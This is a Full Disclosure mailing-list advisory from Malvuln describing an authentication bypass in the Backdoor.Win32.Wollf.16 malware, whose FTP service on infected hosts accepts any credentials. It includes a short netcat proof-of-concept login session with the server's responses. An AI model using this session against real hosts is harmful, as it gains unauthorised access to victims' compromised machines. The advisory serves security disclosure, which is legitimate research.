full-disclosure - [FD] Backdoor.Win32.Wollf.16 / Authentication Bypass

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Date: Thu, 20 Jan 2022 21:31:27 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Wollf.16 / Authentication Bypass

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/204613443e555f73237ea43a2faecaa5.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.16
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 1015 and has an FTPD feature
that when enabled listens on TCP port 21. Third-party attackers who can
reach an infected system can logon using any username/password combination.
Type: PE32
MD5: 204613443e555f73237ea43a2faecaa5
Vuln ID: MVID-2022-0462
Dropped files: ddradmin.exe
Disclosure: 01/20/2022

Exploit/PoC:
nc64.exe x.x.x.x 21
220 Welcome to X-Ftp server ...
USER malvuln
331 User name okay, need password.
PASS malvuln
230 User logged in, proceed.

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use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
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handling or the downloading of ANY Malware mentioned on this website or
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